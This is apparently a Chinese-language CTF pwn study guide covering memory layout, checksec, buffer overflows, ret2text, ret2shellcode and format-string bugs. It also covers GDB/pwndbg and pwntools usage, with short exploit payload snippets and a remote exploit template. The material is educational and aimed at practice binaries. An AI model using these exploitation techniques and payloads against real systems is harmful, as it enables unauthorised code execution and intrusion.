Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

背景知识

地址空间(Address space,Prozess Adressraum)

地址空间可以被看作是一个巨大的 一维字节数组,在程序运行时(与它潜在的大小相比),其中只有少数位置存有数据。由于地址空间占用非常稀疏,操作系统会将其划分为大小相等的 页(Pages),其中只有被操作系统释放(映射)的页才可以被访问。

程序从硬盘被加载到低地址空间(对应的页由操作系统或程序加载器自动提供)。

用于执行的机器代码存放在 文本段(Text Segment) 中,静态初始化的变量和字符串常量存放在 数据段(Data Segment) 中。静态变量如果在程序开始时尚未被赋值,则会放在 BSS 段 中,并由操作系统填充为零字节。

程序所需的动态链接库也由这三类段组成,并由程序加载器加载到更高的内存地址。由于这些库所需的内存是通过 mmap 系统调用 向操作系统申请的,因此它们也被称为 MMap 段

在程序初始化过程中,还会额外保留两个区域:

  • 栈(Stack):用于自动管理的变量。
  • 堆(Heap):用于动态分配的变量。

栈在每次函数调用时会扩展一个 栈帧(Stack Frame)。在栈帧的内存区域中存储有当前函数的局部变量,以及一些管理信息,例如 返回地址。返回地址记录了当前执行的函数是从哪一个程序地址被调用的。随着函数调用深度的增加,栈会从高地址向低地址方向增长。

当需要在函数执行完毕后变量仍然存在时,就必须使用 来进行动态内存分配(因为栈上的变量会在函数返回时自动释放)。在这种情况下,程序可以通过 libc 提供的分配器 使用 malloc 函数向系统申请内存。如果可能,分配器会返回对程序启动时预留的堆区域的引用;如果堆空间不足,分配器会通过 mmap 系统调用 向操作系统请求一个新的 MMap 段,并返回对该段的引用。

C 标准库(libc)除了包含内存分配器之外,还提供了许多常用函数,以便简化与操作系统的交互。

在程序执行过程中,如果访问了一个无效的地址(即未映射的页),操作系统会向程序发送一个 段错误(Segmentation Fault) 信号。如果程序没有对此进行处理,就会导致程序终止。

image-20250818000141067

X86汇编

按 SysV x64 ABI,函数前三个参数放在 rdi, rsi, rdx。所以

1
2
3
pop rdi ; ret
pop rsi ; ret
pop rdx ; ret

会起到设置参数的作用。(将指定参数存入寄存器。)

pop rbp 则是会把栈顶的 8 字节弹到寄存器 rbp,同时 rsp += 8

安全性检查

我们可以使用checksec命令检查一份二进制文件的安全性.

安装:

1
sudo apt install checksec

例子:

1
2
3
4
5
6
7
8
9
└─$ checksec ./vuln

Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
1
2
3
4
5
6
7
8
└─$ checksec ./racecar

Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

解释:

  • Arch:二进制文件的架构
    • amd64-64-little: x86-64 架构的64位小端序ELF可执行文件;
    • i386-32-little:x86 架构的32位小端序ELF可执行文件
  • RELRORead-Only Relocations,表示重定位表只读,能防止通过修改 GOT(全局偏移表)来劫持控制流。
    • Partial RELRO:只部分保护;
    • Full RELRO:GOT 完全只读,更安全。
  • Stack:是否启用了栈金丝雀(Stack Canary)。
    • No canary found:没有保护,容易被栈溢出攻击;
    • Canary found:能检测栈溢出覆盖返回地址的行为。
  • NXNon-eXecutable stack/heap,表示数据段不可执行。
    • disabled:攻击者可以直接在栈/堆执行恶意代码;
    • enabled:栈和堆不能直接执行代码,阻止传统 shellcode 注入。
  • PIEPosition Independent Executable,是否支持地址随机化(ASLR)。
    • No PIE:程序总是加载在固定地址(如 0x400000),便于攻击者构造 ROP;
    • PIE enabled:主程序基址随机化,增加攻击难度。
  • Stripped:是否剥离了符号信息。
    • No:包含函数名、符号,方便调试和逆向分析;
    • Yes:已剥离,更难逆向,但对运行安全性影响不大。
  • Debuginfo:是否带有调试信息(DWARF 等)。
    • No:一般发布版本应去掉;
    • Yes:含源码级调试信息,方便开发调试,但可能泄露过多信息。

下面介绍一些基本的漏洞以及对应的攻击方法:

溢出 Buffer Overflow

漏洞/常见危险函数

Buffer overflow(缓冲区溢出)漏洞 常见于不做边界检查边界检查错误的输入/拷贝函数;可覆盖栈/堆/静态区中的相邻数据(如返回地址、函数指针、对象元数据等)。

  • gets()

    • 没有任何输入长度限制/检查。
  • fgets(buf, size, stdin)

    • 如果size大于给buf的实际大小,则会溢出。

    • 1
      2
      char buf[32];
      fgets(buf, 128, stdin);
  • scanf("%s", buf)

    • %s 会不断读入字符直到遇到空白符(空格、回车、制表符等)。

    • 安全写法:

      1
      scanf("%15s", buf);  // 最多读 15 个字节 + 1 个 '\0'
  • read(0, buf, count)

    • 如果count大于给buf的实际大小,则会溢出。

    • 1
      2
      char buf[32];
      read(0, buf, 0x100);

栈溢出(Stack buffer overflow)

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。(https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/

结构体字段劫持

最简单的攻击目的便是修改写入变量附近的某个变量的值。比如说在下面这个例子里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

struct user {
char name[64];
int is_admin;
};

void win() {
printf("You are admin!\n");
system("/bin/flag");
}

int main() {
struct user u;
memset(&u, 0, sizeof(u));

printf("Enter your name: ");
fgets(u.name, 200, stdin); // name只有64字节,fgets读200字节

if (u.is_admin == 1) {
win();
} else {
printf("Access denied.\n");
}

return 0;
}

我们写入的变量为user这个struct里的name,但是由于输入长度限制为200,而实际的name的存储空间仅为64,并且struct里的内容的存储空间是连续的,所以可以通过输入

1
2
3
'A'*64 + '\x01\x00\x00\x00'
# 也可以用
'A'*64 + p32(1)

将原本的is_admin的值修改为(被覆盖掉为)1。(注意大部分架构都是使用的小端序,并且int的大小为4个Byte,所以是\x01\x00\x00\x00

ROP(Return Oriented Programming)

ret2text

ret2text(Return-to-Text)控制程序执行程序本身已有的的代码 (即, .text 段中的代码) 。

这种Exploit一般需要:

1
2
Stack:      No canary found
PIE: No PIE

如果开启了PIE,则需要先泄露基址,再计算所需函数的实际地址。

例子(假设程序中原本有一个不需要参数的win()函数,它会调用system("/bin/sh")。):

1
2
3
4
5
win_address = 0x0000000000401172
# win函数地址0x401172
payload = b"A" * 76 # 填满Buffer
payload += b"B" * 8 # 覆盖保存的rbp(内容无关紧要)
payload += p64(win_address)
ret2shellcode

ret2shellcodeReturn-to-Shellcode)指的是:
在利用栈溢出等漏洞时,将自己编写的shellcode注入到内存(常见是栈/堆/.bss)里,再通过覆盖返回地址或利用跳转 gadget(如 jmp *sp把控制流重定向到该 shellcode,从而直接执行任意指令。

这种Exploit一般需要:

1
2
3
4
NX:         NX enabled		#重中之重

Stack: No canary found
PIE: No PIE (0x400000)

最小化示例(x64,NX 关闭;利用 jmp rsp gadget;PIE 关闭):

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.arch = "amd64"
shellcode = asm(shellcraft.sh()) # /bin/sh

# 找到 jmp rsi 指令地址
JMP_RSI = next(elf.search(asm('jmp rsi')))

payload = flat({
0: shellcode, # shellcode
256: JMP_RSI # 溢出 return address
})

当程序执行ret时,RIP被改成JMP_RSI,CPU开始执行jmp rsi。这条指令的含义是:跳到RSI指向的地址继续执行。此时RSI里还保留着刚才缓冲区的地址,所以会跳转到缓冲区的开头执行我们放在里面的shellcode。

ret2libc

ret2libcReturn-to-Library)指的是:
在存在栈溢出等漏洞、但无法直接执行注入的 shellcode(通常因为 DEP/NX 保护禁止在栈上执行代码)的情况下,攻击者将程序的控制流劫持到libc库中的现成函数,比如 system(),从而达到执行任意命令的目的。

这种通常较为复杂。

格式化字符串漏洞 Format String Vulnerability

详见:格式化字符串(Format String)漏洞介绍

正常情况
在进入printf函数之后,函数会首先获取第一个参数,一个一个读取其字符会遇到两种情况:

  • 当前字符不是%,直接输出到相应标准输出。
  • 当前字符是%, 继续读取下一个字符
    • 如果没有字符,报错;
    • 如果下一个字符是%, 输出%;
    • 否则根据相应的字符,获取相应的参数,对其进行解析并输出。

例子:

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>

int main() {
int a = 10;
float b = 3.14;
char *str = "hello";

printf("Int: %d, Float: %f, String: %s\n", a, b, str);
return 0;
}

栈的大概结构:

1
2
3
4
5
6
7
8
9
10
11
+----------------------+
| 返回地址(printf结束后跳转) |
+----------------------+
| 格式字符串地址 | --> "Int: %d, Float: %f, String: %s\n"
+----------------------+
| 参数3(str) | --> 指向 "hello"
+----------------------+
| 参数2(b) | --> float/double 值:3.14
+----------------------+
| 参数1(a) | --> 整数值:10
+----------------------+

函数会从栈里正常读取指定的变量的值。

而当我们在使用格式化字符串函数但是并没有给定具体变量的情况下:

1
2
3
4
5
6
#include <stdio.h>

int main() {
printf("Hello %x %x %x %x");
return 0;
}

则会从栈中依次读取未定义的值作为参数进行格式化输出。

在CTF的题目里这个漏洞一般的表现如下:

1
2
3
4
5
6
7
8
#include <stdio.h>

int main() {
char user_input[100];
gets(user_input);
printf(user_input); // 会将我们的输入直接当成格式字符串并处理
return 0;
}

我们可以利用这个漏洞读取栈上的内容(如变量值、返回地址等)或者通过 %n 格式符(就是我们之前提到的那个危险的格式符)向指定内存地址写入数据。

GDB

GDB(GNU Debugger)是 GNU 项目的调试器,主要用于调试 C/C++ 等程序。

安装

1
sudo apt install gdb

安装Pwndbg

pwndbg 是 GDB 的调试插件,提供栈/堆/寄存器上下文展示以及 cyclic、rop、heap、format 等命令,用于更高效地调试二进制漏洞。

安装:

1
2
3
4
5
6
7
8
9
10
# 1) 依赖
sudo apt update
sudo apt install -y git python3-venv python3-pip

# 2) 拉仓库到你用户目录
git clone https://github.com/pwndbg/pwndbg ~/.local/share/pwndbg
cd ~/.local/share/pwndbg

# 3) 运行安装脚本(会给你创建一个本地 venv,并把 source 写入 ~/.gdbinit)
./setup.sh

安装前:

image-20251011231648527

安装后:

image-20251011231703933

常用命令

  1. 使用GDB打开二进制文件

    1
    2
    3
    gdb ./vuln
    #或者
    gdb -q ./vuln

    -q:quiet,安静模式,不显示启动欢迎信息。

    或者是先普通打开gdb,然后再选择文件:

    1
    2
    3
    gdb

    pwndbg> file ./pwn
  1. 运行程序

    1
    2
    3
    4
    run

    run < input.txt # 用文件输入
    run <<< "AAAA" # 简单输入
  1. 查看汇编代码

    1
    2
    3
    4
    disassemble main
    disass main

    disassemble win
  1. 设置断点

    1
    2
    break main         # 在 main 函数处断点
    b main
  1. 查看寄存器

    1
    2
    3
    4
    info registers
    i r

    x/20gx $rsp # 查看栈内容(20 个 8 字节,从 RSP 开始)
  1. 搜索gadgets

    1
    2
    3
    4
    5
    rop --grep "ret"

    rop --grep "pop rdi ; ret"

    rop --grep "pop rsi ; pop r15 ; ret"
  1. a

确定返回地址偏移

1
2
3
4
5
6
pwndbg> | cyclic 1200 | tee /tmp/pat > /dev/null

pwndbg> run < /tmp/pat
# 程序崩溃后:
pwndbg> x/gx $rsp # 记下这里的 8 字节
pwndbg> cyclic -n 8 -o 0x... # 用上一步读到的值求偏移
  • | cyclic 1200 | tee /tmp/pat > /dev/null:生成模式串并保存到文件

    • cyclic 1200:让 pwndbg 生成长度为 1200 字节De Bruijn 模式串(也叫“花指纹/模式串”)。它的特性是:任意连续的 n 字节子串在整段里唯一(默认 n=4)。长这样:

      1
      2
      pwndbg> | cyclic 200 | tee /tmp/pat
      aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
    • tee /tmp/pat:写入文件 /tmp/pat

    • > /dev/null:隐藏输出。

  • x/gx $rsp:读取“将要被 ret 弹到 RIP”的 8 字节

    • x(examine):查看内存。
    • /gx:一次显示 1 个 8 字节(g=8 bytes,“giant word”)并用 十六进制(x)格式。
    • $rsp:取 RSP 寄存器 作为要查看的内存地址。
  • cyclic -n 8 -o 0x...:用得到的返回地址反推偏移

    • -o(offset):告诉 cyclic “这就是我在栈上读到的那 8 个字节”,请帮我算“它在刚才那段模式串里的起始位置(偏移)”。
    • -n 8:在 64 位上我们读的是 8 字节(gx),要用 8 字节粒度的唯一性去匹配;否则默认 n=4 可能匹配失败或给错结果。
    • 0x...:把上一步 x/gx $rsp 看到的 十六进制数原样填进来。

输出:一个十进制数字,比如 Found at offset 18 —— 这就是覆盖到返回地址的偏移(字节数)。

例子

image-20251011234846733

image-20251011234917544

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
pwndbg> | cyclic 1200 | tee /tmp/pat > /dev/null
pwndbg> run < /tmp/pat
Starting program: /home/archer/ctf-kali/pwn/pwn38/pwn < /tmp/pat
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : It has system and '/bin/sh'.There is a backdoor function
* *************************************
Just easy ret2text&&64bit

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400656 in ctfshow ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────
RAX 0x32
RBX 0x7fffffffd998 —▸ 0x7fffffffdc8e ◂— '/home/archer/ctf-kali/pwn/pwn38/pwn'
RCX 0x400d3f ◂— jne 0x400db5 /* 'Just easy ret2text&&64bit' */
RDX 0x32
RDI 0
RSI 0x7fffffffd866 ◂— 0x6161616161616161 ('aaaaaaaa')
R8 0
R9 0
R10 0
R11 0x202
R12 0
R13 0x7fffffffd9a8 —▸ 0x7fffffffdcb2 ◂— 'SHELL=/bin/bash'
R14 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe310 ◂— 0
R15 0
RBP 0x6163616161616161 ('aaaaaaca')
RSP 0x7fffffffd878 ◂— 0x6164616161616161 ('aaaaaada')
RIP 0x400656 (ctfshow+31) ◂— ret
──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────
► 0x400656 <ctfshow+31> ret <0x6164616161616161>










───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd878 ◂— 0x6164616161616161 ('aaaaaada')
01:0008│ 0x7fffffffd880 ◂— 0x6165616161616161 ('aaaaaaea')
02:0010│ 0x7fffffffd888 ◂— 0x6166616161616161 ('aaaaaafa')
03:0018│ 0x7fffffffd890 ◂— 0x6167616161616161 ('aaaaaaga')
04:0020│ 0x7fffffffd898 —▸ 0x40066e (main) ◂— push rbp
05:0028│ 0x7fffffffd8a0 ◂— 0x100400040 /* '@' */
06:0030│ 0x7fffffffd8a8 —▸ 0x7fffffffd998 —▸ 0x7fffffffdc8e ◂— '/home/archer/ctf-kali/pwn/pwn38/pwn'
07:0038│ 0x7fffffffd8b0 —▸ 0x7fffffffd998 —▸ 0x7fffffffdc8e ◂— '/home/archer/ctf-kali/pwn/pwn38/pwn'
─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────
► 0 0x400656 ctfshow+31
1 0x6164616161616161 None
2 0x6165616161616161 None
3 0x6166616161616161 None
4 0x6167616161616161 None
5 0x40066e main
6 0x100400040 None
7 0x7fffffffd998 None
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/gx $rsp
0x7fffffffd878: 0x6164616161616161
pwndbg> cyclic -n 8 -o 0x6164616161616161
Finding cyclic pattern of 8 bytes: b'aaaaaada' (hex: 0x6161616161616461)
Found at offset 18
pwndbg>

所以偏移为18。

Ropgadget

用于高效准确查找gadgets。

下载

1
sudo apt install python3-ropgadget

用法

1
ROPgadget --binary ./vuln | grep -E "pop rdi ; ret"

Pwntools

Pwntools 是面向 CTF/Pwn 场景的 Python 库,提供连接服务、构造 payload、地址与数据的打包/解包、gadget 检索、shellcode 汇编以及 GDB 调试等功能,用于高效编写与调试利用代码(exploit)。

安装

1
pip3 install pwntools -U

常用 API(按任务分类)

1) 连接与交互

  • (假设io=process(path) / remote(host, port)本地测试/远程连接
  • io.send(data) / io.sendline(data):发送数据/行
  • io.recv(n) / io.recvline() / io.recvuntil(delim):接收
  • io.sendafter(delim, data) / io.sendlineafter(delim, data)等提示再发(菜单题常用)
  • io.clean(timeout=0.1):清空缓冲垃圾输出
  • io.interactive():拿到交互式 shell,类似于nc。切换至这个模式时会自动print当前所有缓冲数据。

2) 打包/解包与快捷拼接

  • p32(x) / p64(x)u32(b) / u64(b):整型与字节序互转(小端

  • flat(*args, filler=b'A', length=None):会把传入的各类对象智能转换成一段字节串。它会根据 context(架构/字节序/位宽)自动处理对齐与打包。

    例子:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    payload = flat({
    0: shellcode, # shellcode
    256: JMP_RSI_Adress
    })

    payload = flat({
    0: b"A"*84,
    84: win_Adress
    })
  • fit({offset: data, ...}, filler=b'A'):按偏移放置数据

  • cyclic(n) / cyclic_find(value, n=4/8):花指纹与偏移定位(也可用 pwndbg 的)

3) 程序信息与 ROP 工具

  • ELF(path):读符号、plt/got、段地址等

    • elf.symbols[]:从符号表读取符号(函数/全局变量)的地址。返回 int。比如说:

      1
      main  = elf.symbols['main']	# main 函数入口
    • elf.search():在可执行文件已映射的各段中按字节序列搜索内容并返回一个生成器(迭代得到每个匹配的地址)。常配合 next(...) 取第一个匹配。。比如说

      1
      2
      3
      elf.search(b'/bin/sh')		# 查找'/bin/sh'字符串

      pop_rdi = next(elf.search(asm('pop rdi ; ret'))) # 查找'pop rdi ; ret'命令
    • elf.got[]:获取 GOT 表项地址(存放真实函数地址的指针位置)。返回 int(可写段;Full RELRO 下只读)。比如说

      1
      got_puts = elf.got['puts']	# 取 puts 的 GOT 表项地址(&puts@GOT)
    • elf.plt['puts']:获取 PLT 跳板(桩函数)的地址。返回 int。比如说:

      1
      plt_puts = elf.plt['puts']	# 调用 puts@plt,把某地址当作参数打印
  • ROP(elf):自动搜 gadget/拼 ROP

    • rop.find_gadget(['pop rdi', 'ret'])rop.call('puts', [addr])rop.chain()
  • context.binary = elf:让 pwntools 自动跟随架构

4) Shellcode / 汇编

  • asm('mov rax, 60; xor rdi, rdi; syscall'):将汇编转为机器码
  • shellcraft.sh() / asm(shellcraft.sh())/bin/sh的Shellcode。
  • disasm(b'\x90\x90\xcc'):反汇编字节流

5) 调试辅助

  • gdb.attach(io, gdbscript='b *0x401234\nc'):本地挂 gdb
  • gdb.debug([path], gdbscript=...):由 gdb 启动进程(便于断点)

6) 杂项

  • hexdump(data):十六进制打印
  • log.info()/success()/warning():美化日志
  • context.timeout = 2:全局超时
  • pause():脚本暂停,手动操作后继续

模板

  • process用于本地测试,地址给二进制文件的地址;
  • remote用于连接服务器。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context.update(arch='amd64', os='linux') #64位x86程序
# context.update(arch='i386', os='linux') 32位x86程序

elf = ELF('./vuln', checksec=False)

# r = process('./vuln')

r = remote("Host",Port)

r.recvuntil(b':')

payload = b"A"*64 + b"B"*4 + p64()

r.sendline(payload)

r.interactive()

题目分类

  1. Pwn相关基础知识
    1. HTB Questionnaire Writeup
    2. HTB Lesson Writeup
  2. Buffer Overflow
    1. 修改目标变量的值
      1. 攻防世界 hello_pwn Writeup
    2. ROP
      1. ret2libc
        1. 攻防世界 level0 Writeup
        2. 攻防世界 level2 Writeup
        3. HTB You_know_0xDiablos Writeup
        4. TJCTF 2025 pwn/i-love-birds Writeup
        5. TUM Binary Exploitation qualification challenge (这题在利用Buffer Overflow漏洞修改返回地址的基础上多了一个需要绕过的检测。)
      2. ret2shellcode
        1. HTB Regularity Writeup
      3. 3
  3. 格式化字符串漏洞
    1. HTB racecar Writeup(利用格式化字符串漏洞读取信息。)
    2. 攻防世界 CGfsb Writeup (利用格式化字符串漏洞修改目标变量的值。)
  4. 未完待续…